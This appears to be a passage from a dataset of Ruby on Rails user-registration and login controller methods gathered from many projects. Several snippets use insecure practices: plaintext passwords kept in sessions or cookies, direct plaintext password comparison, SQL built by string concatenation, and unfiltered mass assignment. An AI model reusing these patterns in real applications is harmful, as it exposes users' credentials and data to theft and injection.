@user.first_name = params[:first_name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.save\n session[:user_id] = @user.id\n redirect_to flowers_path\n \n end\n end\n end\nend \nend", "def create\r\n\t\t# check for errors\r\n\t\tif params[:username].blank? || params[:username].blank? || params[:email].blank? || params[:password].blank? || params[:verifypassword].blank? \r\n\t\tredirect_to signup_path, notice: 'Please fill in all the required fields'\r\n\t\telse\r\n\t\t\r\n\t\t\tif !User.exists?(username: params[:username])\r\n\t\t\t\tif params[:password] == params[:verifypassword]\r\n\t\t\t\t\tif !User.exists?(email: params[:email])\r\n\t\t\t\t\t\t@user = User.new(:username => params[:username], :email => params[:email], :password => params[:password], :member_since => Time.now)\r\n\t\t\t\t\t\tif @user.save\r\n\t\t\t\t\t\t\tcreate_cookies(params[:username], params[:password])\r\n\t\t\t\t\t\t\tredirect_to root_path\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tredirect_to signup_path\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tredirect_to signup_path, notice: 'registration is limited per 1 student email acount'\r\n\t\t\t\t\tend\r\n\t\t\t\telse\r\n\t\t\t\t\tredirect_to signup_path, notice: 'Password doesnt match, retype password'\r\n\t\t\t\tend\r\n\t\t\telse\r\n\t\t\t\tredirect_to signup_path, notice: 'Username is taken'\r\n\t\t\tend\r\n\t\tend\r\n\tend", "def create\n password_token=password_friendly_token\n @user = User.create(params[:user].merge!({:password => password_token}))\n @user.ic_number = params[:num1] + params[:num2] + params[:num3] # to get ic number as 3 parts\n if params[:user_role]==\"admin\"\n @admin='admin'\n end\n if @user.valid?\n @user.save\n @user.activate_user\n @user.role_memberships.create(:role_id=> params[:role][:id], :department_id=>params[:users][:department],:unit_id=>params[:users][:unit], :default_dept=>true,:status=>STATUS_ACTIVE)\n #UserMailer.welcomemail_department_user(@user,password_token).deliver\n Stalker.enqueue(\"#{SPREFIX}.send.welcome\", :id => @user.id, :password=> password_token)\n if @user.roles.first.name==DISP_USER_ROLE_DEPT_ADMIN\n redirect_to(admin_users_path, :notice => 'Department Admin was added successfully.')\n else\n redirect_to(users_path, :notice => 'User was added successfully.')\n end\n else\n render :action=>'new',:admin=>'admin'\n end\n end", "def create\n if logged_in?\n @current_user = User.find(session[:user_id])\n end\n @user = User.new(user_params)\n if logged_in?\n if @current_user.user_type==\"admin\" or @current_user.user_type==\"superadmin\" and params[:acc_type] == 'admin'\n\n @user.user_type= \"admin\"\n if @user.save\n flash[:success] = (\" New Admin created successfully: \" + @user.name)\n if logged_in?\n redirect_to view_admins_url\n else\n redirect_to root_url\n end\n else\n render 'new'\n end\n end\n if @current_user.user_type==\"admin\" or @current_user.user_type==\"superadmin\" and params[:acc_type] == 'user'\n\n @user.user_type= \"user\"\n if @user.save\n flash[:success] = (\" New User created successfully : \" + @user.name)\n if logged_in?\n redirect_to users_url\n else\n redirect_to root_url\n end\n else\n render 'new'\n end\n end\n if @current_user.user_type==\"superadmin\" and params[:acc_type] == 'superadmin'\n\n @user.user_type= \"superadmin\"\n if @user.save\n flash[:success] = (\"New Super Admin created successfully: \" + @user.name)\n if logged_in? and User.find(session[:user_id]).user_type==\"superadmin\"\n redirect_to view_superadmins_url\n else\n redirect_to root_url\n end\n else\n render 'new'\n end\n end\n else\n @user.user_type = \"user\"\n if @user.save\n flash[:success] = (\"Registration successful \" + @user.name)\n if logged_in? and User.find(session[:user_id]).user_type==\"admin\"\n redirect_to view_admins_url\n else\n redirect_to root_url\n end\n else\n render 'new'\n end\n end\n end", "def create\n require 'date'\n if not logged_in?\n \n # generate a user password\n new_password = generate_password(8)\n \n @user = User.new :email => params[:email], :password => new_password, :password_confirmation => new_password\n \n if @user.save\n UserMailer.auto_generated_user_email(@user, new_password).deliver\n else\n render 'home/index' \n return\n end\n else\n @user = current_user\n end\n \n @uSearch = UserSearch.new\n @uSearch.user = @user\n @uSearch.city = params[:city]\n @uSearch.name = params[:name]\n @uSearch.size = params[:size]\n @uSearch.category = params[:category]\n start_at = Date.new(params[:race]['start(1i)'].to_i,params[:race]['start(2i)'].to_i,params[:race]['start(3i)'].to_i)\n end_at = Date.new(params[:race]['end(1i)'].to_i,params[:race]['end(2i)'].to_i,params[:race]['end(3i)'].to_i)\n @uSearch.start_on = start_at\n @uSearch.end_on = end_at\n respond_to do |format|\n if @uSearch.save\n if logged_in?\n format.html { redirect_to user_path(@user), :notice => 'A query was successfully created.' }\n format.json { render :json => @uSearch, :status => :created, :location => @uSearch }\n else\n format.html { redirect_to home_thank_you_path}\n end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @uSearch.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n set1= params[:user][:set]\n @user = User.new(user_params4)\n if set1==1 || set1==nil\n if @user.save(user_params4)\n if set1==nil\n flash[:notice] = \"User created succesfully\"\n redirect_to 'http://localhost:3000/utotal/index'\n else\n flash[:notice] = \"Admin created succesfully\"\n redirect_to 'http://localhost:3000/utotal/index'\n end\n else\n flash[:error] = \"Something is wrong while validating\"\n redirect_to 'http://localhost:3000/users/new'\n end\n else\n flash[:error] = \"Cannot create user with invalid set\"\n redirect_to 'http://localhost:3000/users/new'\n end\n end", "def create\n if ( User.find_by_email(params[:user].email) || User.find_by_user_code(params[:user.user_code]) )\n format.html { redirect_to administrators_url, alert: 'Duplicate email or user name detected.' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n else\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to administrators_url, notice: 'User was successfully created.' }\n format.json { render json: administrators_url, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n user_params = params.require(:user).permit(:username, :email, :password, :password_confirmation)\n user_params[:username] = user_params[:username].downcase\n user_params[:email] = user_params[:email].downcase\n if User.find_by username: user_params[:username]\n # check for pre-existing username\n flash[:error] = \"A user with the username \\\"#{user_params[:username]}\\\" already exists.\"\n redirect_to new_user_path\n elsif User.find_by email: user_params[:email]\n # check for pre-existing e-mail\n flash[:error] = \"A user with the e-mail address \\\"#{user_params[:email]}\\\" already exists.\"\n redirect_to new_user_path\n elsif user_params[:email] !~ /^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}$/\n # validate e-mail\n flash[:error] = \"\\\"#{user_params[:email]}\\\" is not a valid e-mail address.\"\n redirect_to new_user_path\n elsif user_params[:password].length < 8\n flash[:error] = 'Password must be at least 8 characters long.'\n redirect_to new_user_path\n elsif user_params[:password] != user_params[:password_confirmation]\n flash[:error] = 'Passwords did not match.'\n redirect_to new_user_path\n else\n @user = User.create(user_params)\n login(@user)\n redirect_to user_path(@user.username)\n end\n end", "def create\n input_user = params[:user]\n input_pwd= params[:password]\n valid = Users.add(input_user, input_pwd)\n \n if valid > 0\n @user = input_user\n @count = valid\n test = {errCode: 1, count: @count}\n #render :welcome, \n render json: test\n else\n test = {errCode: valid}\n #render :action => \"user_exists\"\n render json: test\n end\n end", "def create\n respond_to do |format|\n my_params = {:username => user_params[:username], :email => user_params[:email], \n\t\t:publicvisible => user_params[:publicvisible], :realname => user_params[:realname], \n\t\t:password => user_params[:password]}\n\n if not (my_params[:username].length > 1 \\\n and my_params[:email].length > 1 \\\n and my_params[:realname].length > 1 \\\n and my_params[:password].length > 1)\n redirect_to new_user_path, :alert => \"Fill in all fields!\"\n return\n end\n \n #@user = User.new({:username => user_params[:username], :email => user_params[:email], :publicvisible => user_params[:publicvisible], :realname => user_params[:realname], :password => user_params[:password]}, true)\n #if user_params[:password] != '*'\n # @user.password = user_params[:password]\n #else\n # @user.password = nil\n #end\n @user = User.new(my_params, true)\n\n begin\n status = @user.save!\n rescue ActiveResource::UnauthorizedAccess, ActiveResource::ResourceConflict\n status = false\n end\n\n if status\n if(session[:provider])\n\t\t\tidentity = session[:identity]\n\t\t\tidentity = Identity.find_by(provider: session[:provider], uid: session[:uid])\n\t\t\tidentity.nickname = my_params[:username]\n\t\t\tidentity.save!\n\t\tend\n\t\t\n local_user = LocalUser.new(username: user_params[:username]) \n local_user.password = user_params[:password]\n local_user.save!\n \n session[:user_id] = user_params[:username]\n session[:passwd] = user_params[:password]\n format.html { redirect_to root_path, :notice => 'User was successfully created and successfully logged in.' }\n format.json { head :no_content }\n else\n session[:user] = my_params\n format.html { redirect_to new_user_path, :alert => \"Could not create user. Your user name already exists.\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.email.blank? or @user.password.blank? or @user.phone.blank?\n\t\t\trender_error(ERROR_EMPTY_EMAIL_OR_PASSWORD,ERROR_EMPTY_EMAIL_OR_PASSWORD_MESSAGE)\n\t\t\treturn\n\t\tend\n\t\t\n\t\tif User.exists?(email: @user.email) or User.exists?(phone: @user.phone)\n\t\t\trender_error(ERROR_USER_EXIST,ERROR_USER_EXIST_MESSAGE)\n\t\t\treturn\n\t\tend\n\t\t\n\t\[email protected]_open_id\n\t\t\n\t\tif @user.save\n\t\t\[email protected]_email_verification\n\t\t\trender_success(@user)\n\t\telse\n\t\t\trender_detail_error(@user.errors)\n\t\tend\n\tend", "def create\n # # Why RAW SQL? Because the ORM version was SUPER slow! More than 30 secs to exeucte. Hence, this.\n # query = \"SELECT U.* FROM `users` U \n # INNER JOIN `user_role_maps` RM ON RM.user_id=U.id\n # INNER JOIN `roles` R ON R.id=RM.role_id\n # WHERE R.role='Volunteer' AND U.`phone_no` = '\"+user_params[:phone_no]+\"' AND U.is_deleted='0'\"\n # user = User.find_by_sql query\n\n # User login possibilites...\n # Phone number not found.\n # Found - but deleted(is_deleted = 1)\n # Role is not 'Volunteer'\n # Role is not assigned. At all.\n user = User.find_by_phone_no user_params[:phone_no]\n\n # Phone number not found.\n unless user\n #raise ActionController::RoutingError.new('Not Found')\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"Couldn't find any users with that phone number(\" + user_params[:phone_no] + \")\",\n }\n else\n\n # Found - but deleted(is_deleted = 1)\n if(user[:is_deleted] == '1')\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"User '\" + user[:first_name] + \" \" + user[:last_name] + \"' has been deleted from the system.\"\n }\n else\n roles_query = \"SELECT R.* FROM `user_role_maps` RM \n INNER JOIN `roles` R ON R.id=RM.role_id\n WHERE RM.user_id='\" + user[:id].to_s + \"'\"\n roles = Role.find_by_sql roles_query\n\n is_fc = 0\n vol = 0\n\n puts roles.inspect\n\n roles.each { |role|\n # Role is not 'Volunteer'\n # Role is not assigned. At all.\n if role[:role] == \"Volunteer\"\n vol = 1\n elsif role[:role] == \"Finance Fellow\"\n is_fc = 1\n end\n }\n\n\n if vol == 0\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"User '\" + user[:first_name] + \" \" + user[:last_name] + \"' is not assigned a POC. Please let your CFR Fellow know.\"\n }\n else\n @data = {\n :id => user[:id],\n :is_fc => is_fc,\n :message => \"Login successful.\"\n }\n end\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n if lastUser = User.all().last()\n @user.member_no = lastUser.id\n else\n @user.member_no = 0\n end\n @user.member_no += 1\n @user.join_date = Date.today.to_s\n\n @user.sex = \"\" if @user.sex.nil? # 设置为默认值\n\n respond_to do |format|\n if @user.save\n # 注册后先登录再说\n format.html { redirect_to login_url}\n format.json { render :show, status: :created, location: @user }\n else\n #puts @user.errors.full_messages\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\t\t@user = User.new(user_params)\n\t\t# encrypt as early as possible\n\t\[email protected]_pass = BCrypt::Password.create(params[:user][:login_pass])\n\t\t\n respond_to do |format|\n if verify_recaptcha(:model => @user, :message => \"验证码输入错误\") && @user.save\n format.html { redirect_to @user, notice: '新用户创建成功' }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t\t\n end", "def create\n if(User.all.count==0 and $current_user==nil)\n @user = User.new(params[:user])\n @user.user_type=\"Admin\"\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, :flash => {:info => 'Admin\nsuccessfully created.' }}\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status:\n :unprocessable_entity }\n end\n end\n\n else if($current_user == nil)\n @user = User.new(params[:user])\n @user.user_type=\"user\"\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, :flash => {:info =>\n 'Login was successfully created.' }}\n format.json { render json: @user, status: :created,\n location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status:\n :unprocessable_entity }\n end\n end\n else\n if($current_user.user_type==\"Admin\")\n puts \"creating new admin account\"\n @user = User.new(params[:user])\n @user.user_type=\"Admin\"\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user,:flash => {:info =>'Login was successfully created.' }}\n format.json { render json: @user, status: :created,\n location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status:\n :unprocessable_entity }\n end\n end\n end\n end\n end\n end", "def create\n \tisSaveUser = UsersService.createUser(user_params,current_user)\n if isSaveUser\n \tredirect_to users_path, notice: \"Successfully User Created!!!.\"\n else\n \tflash[:error] = \"Something wrong in User Create Please Check again.\"\n render :new\n end\n end", "def user_create(from_url, role)\n name = params[:tag_name].strip\n email = params[:tag_email].strip\n phone = params[:tag_phone].strip\n sex = params[:tag_sex]\n birthday_param = params[:tag_birthday]\n\n if role == '1' && birthday_param.present?\n birthday = Time.parse(birthday_param['(1i)'].to_s + \"-\" + birthday_param['(2i)'].to_s + \"-\" + birthday_param['(3i)'].to_s)\n end\n allow_promot = params[:tag_allow_promot]\n password = params[:tag_password].strip\n i_agree = params[:tag_i_agree] # nil mean not agree clause\n\n #============================================== invite code\n if APP_CONFIG['enable_invite_code'] == 'true' && from_url.include?('restaurant')\n invite_code = params[:tag_invite_code].strip\n if invite_code.blank?\n flash.now[:alert] = '您好,現在Dingba 處於私密測試階段,為了維持訂吧網路服務的品質,我們需要取得邀請碼後才能進行免費的餐廳服務申請。 若您還對我們服務有興趣,可以先留下:餐廳名稱: 聯絡人: 餐廳官方網站或FB: 並 Email 至 [email protected],我們會盡快協助您加入訂吧的免費服務。'\n render from_url\n return\n end\n\n result = InviteCode.where(:code => invite_code, :user_id => nil)\n if result.blank?\n flash.now[:alert] = '沒有此筆邀請碼喔~ 很抱歉!'\n render from_url\n return\n end\n\n end\n #==============================================\n\n if (name.blank? || email.blank? || phone.blank? || password.blank? || i_agree.blank?)\n flash.now[:alert] = '有欄位未填喔!'\n render from_url\n return\n end\n\n if (email =~ /\\w+([-+.]\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*/).blank?\n flash.now[:alert] = 'E-mail 格式錯誤!'\n render from_url\n return\n end\n\n if i_agree != '1'\n flash.now[:alert] = '資料異常! 註冊失敗!'\n render from_url\n return\n end\n\n user = User.where(:email => email)\n if !user.blank?\n flash.now[:alert] = '此帳號 ( E-Mail ) 已被註冊'\n render from_url\n return\n end\n\n person = { 'name' => name,\n 'email' => email,\n 'phone' => phone,\n 'role' => role, # 0 = restaurant, 1 = booker\n 'password' => password,\n 'password_confirmation' => password,\n 'sex' => sex,\n 'birthday' => birthday,\n 'allow_promot' => allow_promot}\n devise_save(person, invite_code)\n end", "def create\n if(params[:user][:password] != params[:user][:password_repeat])\n flash[:notice] = \"Passwords didn't match!\"\n redirect_to(:root)\n #redirect_to(:action => :register)\n elsif(params[:user][:password] == \"\")\n flash[:notice] = \"Password cannot be blank\"\n redirect_to(:root)\n else\n @user = User.new\n @user.username = params[:user][:username]\n @user.password=(params[:user][:password])\n @user.email = params[:user][:email]\n if(@user.valid?)\n @user.save\n session[:id] = @user.id\n redirect_to(@user, :id => @user.id)\n #flash[:notice] = \"You have successfully registered and can now log in.\"\n #redirect_to(:action => :login)\n else\n flash[:notice] = \"Username in use\"\n redirect_to(:root)\n end\n end\n end", "def createUser\n user_data = params[:user]\n user_params\n #Now, we have do the following checks:\n # For name:\n #1. Find if the user with the same name exits or not\n #2. If not exits then go ahead and create the user\n #For password:\n #1. We will check if the password && password_confirmation are same or not only then we will consider\n # And finally, we will set the role as \"Customer\" and status as \"Active\"\n @user = User.new(name: user_data[:name], password: user_data[:password], password_confirmation: user_data[:password_confirmation], role: \"customer\", status: \"active\")\n if @user.valid? && user_data[:password] == user_data[:password_confirmation]\n if @user.save\n # now that the user is created we need to sign-in the user\n # Therefore, we will use session cookie to make sure the data is kept in encrypted form.\n session[:user_id] = @user.id\n redirect_to cafeteria_path\n #we can track the session now.\n end\n else\n render :newUser\n end\n end", "def create\n existing_user = User.find_by(email_id: params[:user][:email_id])\n if existing_user != nil\n if existing_user.is_realtor == true\n redirect_to login_path, notice: 'You are already registered as an Realtor'\n else\n existing_user.is_realtor = true\n existing_user.password = params[:user][:password]\n if existing_user.save\n add_realtor = Realtor.new(realtor_params)\n add_realtor.users_id = existing_user.id\n if add_realtor.save\n redirect_to login_path, notice: 'Realtor was successfully created.'\n else\n redirect_to login_path, notice: 'Error saving realtor.'\n end\n else\n redirect_to login_path, notice: 'Error saving user.'\n end\n end\n else\n @realtor = Realtor.new(realtor_params)\n @user = User.new(user_params)\n @user.is_realtor = true\n respond_to do |format|\n if @user.save\n @realtor.users_id = @user.id\n if @realtor.save\n format.html {redirect_to login_path, notice: 'Realtor was successfully created.'}\n format.json {render :show, status: :created, location: @realtor}\n else\n format.html {redirect_to login_path, notice: 'Error creating realtor'}\n format.json {render json: @realtor.errors, status: :unprocessable_entity}\n end\n else\n format.html {redirect_to login_path, notice: 'Error creating user. Please check input.'}\n format.json {render json: @user.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def create\n @user = User.new(user_params)\n if @user.role == 'renter'\n @user.company_id == 24\n @user.title == 'renter'\n elsif @user.role = 'realtor'\n @user.company_id == 25\n @user.title == 'realtor'\n end\n @user.company_id = user_params[:company_id] if logged_in?\n @user.role = user_params[:role] if logged_in?\n @user.title = user_params[:title] if logged_in?\n @user.save\n respond_to do |format|\n if @user.save and !logged_in?\n log_in @user\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n elsif @user.save and logged_in?\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new, notce: 'User was not created, please try again.' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n # puts \"hello\"\n # p user_params\n @user = User.new(user_params) #user_params is a function below \n # p @user\n if @user.save \n sign_in(@user)\n redirect_to @user\n end \n\n \n # @user = User.new(params[:user])\n # @user = User.new( name: \"Foo Bar\", email: \"foo@invalid\", password: \"foo\", password_confirmation: \"bar\") \n # if params[:user][:name] == \"\"\n # render :new\n # else\n # @user.save \n # # redirect_to(@user)\n # render :show\n # end \n\n # -- original auto generated code -- \n # respond_to do |format|\n # if @user.save\n # format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render :show, status: :created, location: @user }\n # else\n # format.html { render :new }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n #users\n flag = params[:user][:name].split('#')[0]\n role = params[:user][:name].split('#')[1]\n name = params[:user][:name].split('#')[2]\n location = params[:user][:name].split('#')[3]\n phone = params[:user][:phone]\n\n #products\n product_name = params[:user][:name].split('#')[1]\n price = params[:user][:name].split('#')[2]\n\n #whitelist\n maize_set = ['mahindi', 'maize']\n beans_set = ['maharagwe', 'mbosho', 'beans']\n potatoe_set = ['potatoe', 'viazi', 'waru']\n\n begin\n if flag.downcase == 'register'\n if User.exists?(phone: phone)\n if role.downcase == 'farmer'\n if User.exists?(phone: phone, role: '1')\n @user = User.find_by_phone(phone)\n KannelRails.send_message(phone, \"You have already been registered for the service as #{@user.name}\")\n else\n @user = User.create(name: name, phone: phone, role: '1')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Farmer to Ukulima Texts.\n You can post your rates for maize, beans or potatoe using Sell#Product#price.')\n end\n end\n elsif role.downcase == 'client'\n if User.exists?(phone: phone, role: '2')\n @user = User.find_by_phone(phone)\n KannelRails.send_message(phone, \"You have already been registered for the service as #{@user.name}\")\n else\n @user = User.create(name: name, phone: phone, role: '2')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Client to Ukulima Texts.\n You can query for potatoe, maize or beans using Buy#ProductName')\n end\n end\n end\n else\n if role.downcase =='farmer'\n logger.info 'Registering farmer'\n @user = User.create(name: name, phone: phone, role: '1')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Farmer to Ukulima Texts.\n You can post your rates for maize, beans or potatoe using Sell#Product#price.')\n end\n elsif role.downcase == 'client'\n @user = User.create(name: name, phone: phone, role: '2')\n if @user.save\n KannelRails.send_message(phone, 'You have successfully been registered as a Client to Ukulima Texts.\n You can query for potatoe, maize or beans using Buy#ProductName')\n end\n else\n KannelRails.send_message(phone, 'Wrong format. Check your spelling and try again with Register#Client#Name\n Register#Farmer#Name')\n end\n end\n elsif flag.downcase == 'sell'\n if User.exists?(phone: phone, role: '1')\n @user = User.find_by_phone(phone)\n begin\n if maize_set.include? product_name.downcase\n maize(@user, phone, price)\n elsif beans_set.include? product_name.downcase\n beans(@user, phone, price)\n elsif potatoe_set.include? product_name.downcase\n potatoe(@user, phone, price)\n else\n KannelRails.send_message(phone, 'You can only post for potatoe, beans or maize. Did you misspell? Correct and try again.')\n end\n rescue ActiveRecord::RecordNotUnique\n KannelRails.send_message(phone, 'Already posted the product. Use format Update#Product#Price to make changes.')\n end\n else\n KannelRails.send_message(phone, 'You must register as farmer to post your product.\n To Register, send a text with format Register#Farmer#Name')\n end\n elsif flag.downcase == 'buy'\n if User.exists?(phone: phone)\n if Product.exists?(name: product_name.downcase)\n product = Product.find_by_name(product_name.downcase)\n @users = User.in_products(product.id)\n users = []\n @users.each do |user|\n @price = product.prices.where(\"user_id = ?\", user.id).first\n users << \"name: #{user.name}, phone no.: #{user.phone}, price: Ksh #{@price.amount unless @price.nil?} per kilo.\"\n end\n\n unless users.empty?\n KannelRails.send_message(phone, \"Farmers selling #{product_name} #{users.map.with_index {|item, index| \"#{index+1}. #{item}\"}}\")\n else\n KannelRails.send_message(phone, 'No farmer has posted on this product yet.')\n end\n else\n KannelRails.send_message(phone, 'There is no such product. Supported products are potatoe, maize and beans.\n Did you misspell? Try again.')\n end\n else\n KannelRails.send_message(phone, 'You are not signed up for Ukulima service. To view products, send text with\n format Register#Client#Name')\n end\n elsif flag.downcase == 'update'\n if Product.exists?(name: product_name.downcase)\n product = Product.find_by_name(product_name.downcase)\n user = User.find_by_phone(phone)\n @price = product.prices.where('user_id = ? AND product_id = ?',user.id,product.id).first\n @price.update(amount: price.delete(' '))\n if @price.save\n KannelRails.send_message(phone, \"Product successfully updated. New price Ksh #{@price.amount}\")\n else\n KannelRails.send_message(phone, 'Product Price must be a digit. Retry setting price to a number.')\n end\n else\n KannelRails.send_message(phone, 'There is no such product. Supported products are potatoe, maize and beans.\n Did you misspell? Try again.')\n end\n elsif params[:user][:name].downcase == 'stop'\n if User.exists?(phone: phone)\n user = User.find_by_phone(phone)\n if user.destroy\n KannelRails.send_message(phone, 'You have been unsubscribed from Ukulima service. To signup again,\n send text with format Register#Farmer#Name or Register#Client#Name')\n end\n else\n KannelRails.send_message(phone, 'You are not subscribed to Ukulima service.')\n end\n else\n KannelRails.send_message(phone, 'Incorrect format. Please retry with correct format and spelling.')\n end\n end\n\n\n #respond_to do |format|\n # if @user.save\n # format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def create\n @user = User.create user_params\n puts user_params\n found_user_by_username = User.where(username: params[:username]).first\n found_user_by_email = User.where(email: params[:email]).first\n if found_user_by_username or found_user_by_email\n flash[:error] = \"That username or email already exists. Try something different.\"\n redirect_to new_user_path\n elsif @user.save\n attempt_login\n redirect_to contacts_path\n else\n flash[:error] = \"Nuh uh uh. Try again.\"\n render :new\n end\n end", "def create \n if User.find_by(username: params[:user][:username]) != nil\n flash[:notice] = \"Sorry, that account already exists.\"\n redirect_to '/users/new'\n else\n if password_reqs?\n @user = User.create(params.require(:user).permit(:username, :password))\n session[:user_id] = @user.id \n redirect_to '/welcome'\n else\n redirect_to '/users/new'\n end\n end\n end", "def create_user\n @user = User.new(user_params)\n @user.role = :user\n if @user.save\n correct_cs_entries @user\n correct_ci_entries @user\n render 'objects/user.json'\n else\n @msg = \"Error in generating user\"\n @details = @user.errors\n render \"objects/msg.json\", status: :bad_request\n end\n end", "def create\n first_name, last_name, email, password = *params.values_at(:first_name, :last_name, :email, :password)\n\n if [first_name, last_name, email, password].any?(&:blank?)\n return render_success({status:\"error\", message: 'invalid create parameters'})\n end\n\n #User already exists\n if User.exists?(email: email.downcase)\n return render_success({status:\"error\", message:\"user already exists\"})\n end\n #create user\n User.transaction do\n @user = User.new(\n name: (first_name + \" \" + last_name).titleize,\n email: email.downcase,\n password: password,\n password_confirmation: password\n )\n if @user.save!\n render_success({status:\"success\", message:\"created\"})\n else\n render_success({status:\"error\", message:\"user creation failed\"})\n end\n end\n end", "def create\n @user = User.new do |u|\n u.name=params[:name]\n u.email=params[:email]\n u.address=params[:address]\n u.title=params[:title]\n u.school=params[:school]\n u.age=params[:age].to_i\n u.gender=params[:gender]\n u.tel=params[:tel]\n u.phone=params[:phone]\n u.syndic=params[:syndic]\n u.style=params[:style]\n u.require=params[:require]\n u.postcode=params[:postcode]\n u.arrivedate=params[:arrivedate]\n u.leavedate=params[:leave]\n end\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: '注册成功!' }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n #flag to see if user apply to be tutor on registration\r\n if !params[:user].blank?\r\n tu = params[:user][:tutor]\r\n params[:user].delete :tutor\r\n end\r\n \r\n @user = User.new(params[:user])\r\n puts \"888888888888888888888888888\"\r\n puts @user.inspect\r\n\r\n if !params[\"addUniv\"].blank? && !params[\"newuniv\"].blank?\r\n if params[\"addUniv\"] == \"checked\" && params[\"newuniv\"].length > 0\r\n newU = University.find_or_create_by_name(params[\"newuniv\"])\r\n newU.save!\r\n @user.university_id = newU.id\r\n @user.department_id = nil\r\n end\r\n if params[\"addDept\"].present? && params[\"newdept\"].length > 0\r\n newD = Department.find_or_create_by_name(params[\"newdept\"])\r\n [email protected]_id\r\n newD.save!\r\n @user.department_id = newD.id\r\n # if a new university is selected and old department is already selected then do nothing\r\n # elsif params[:department_id].present?\r\n # @user.department_id = params[:department_id]\r\n end\r\n elsif @user.university_id.present?\r\n if params[\"addDept\"].present? && params[\"newdept\"].length > 0\r\n newD = Department.find_or_create_by_name(params[\"newdept\"])\r\n [email protected]_id\r\n newD.save!\r\n @user.department_id = newD.id\r\n end\r\n end\r\n\r\n respond_to do |format|\r\n # if apply to be tutor on registration redirect to tutor application page after registration succeed\r\n if @user.save && !tu.nil? && tu == \"1\"\r\n session[:user_id] = @user.id\r\n format.html { redirect_to new_tutor_url(:uid => @user.id), notice: 'Please fill application for tutor' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n elsif @user.save\r\n session[:user_id] = @user.id\r\n format.html { redirect_to @user, notice: 'registration succeed, automatically signed in' }\r\n format.json { render json: @user, status: :created, location: @user}\r\n else\r\n format.html { render action: \"register\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n user=User.new(user_params)\n if user.save\n flash[:notice]=\"new user was created\"\n redirect_to \"/users\"\n else\n flash[:notice]=\"new user creation ERROR, please try again\"\n\t\t\tredirect_to \"/users\"\n end\n\tend", "def create\n\n @new_user = User.new\n\n new_user = @new_user.add(params['user_name'], params['pswd1'], params['email'], params['full_name'])\n\n if new_user.errors.any?\n redirect_to \"/\", :flash => { :error => 'User already exists'}\n else\n redirect_to \"/main\"\n end\n end", "def create \n \t @user = User.where(username: params[:username]).first \n \t \n if @user && @user.password == params[:password]\n session[:user_id] = @user.id\n flash[:notice] = \"You've logged in successfully\"\n redirect_to users_path(@user.id)\n else \n \t flash[:alert] = \"Sorry but you either entered the wrong username or password\"\n redirect_to :back\n \t\t end\n\t end", "def create\n\tif(filters)\n\t#Revisamos que no haya iniciado sesion\n\t\tif(session[:user_id])\n\t\t\tflash[:error] = \"Acceso denegado\"\n\t\t\tredirect_to home_path\n\t\t\treturn\n\t\tend\n\tend\n\t\n @user = User.new(params[:user])\n\n if !(@user.email.match(/\\A[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]+\\z/))\n flash[:form_error] = \"El correo ingresado no tiene el formato adecuado\"\n\t\trespond_to do |format|\n\t\t\tformat.html { render action: \"new\" }\n\t\tend\n \treturn\n end\n\t\n\t#Revisamos que el mail no este ocupado por una cuenta activa\n\tif(User.exists?(:email => @user.email, :deleted => 0))\n\t\tflash[:form_error] = \"El correo ingresado ya fue inscrito\"\n\t\tredirect_to new_user_path\n\t\treturn\n\tend\n\t\n\t#Que la contrasena y la confirmacion sean iguales\n\tif !(params[:password] == params[:password_confirmation] and params[:password].length >= 6)\n\t\tflash[:form_error] = \"Error en la contrasena\"\n\t\trespond_to do |format|\n\t\t\tformat.html { render action: \"new\" }\n\t\tend\n\t\treturn\n\tend\n\t\n\t#Guardamos 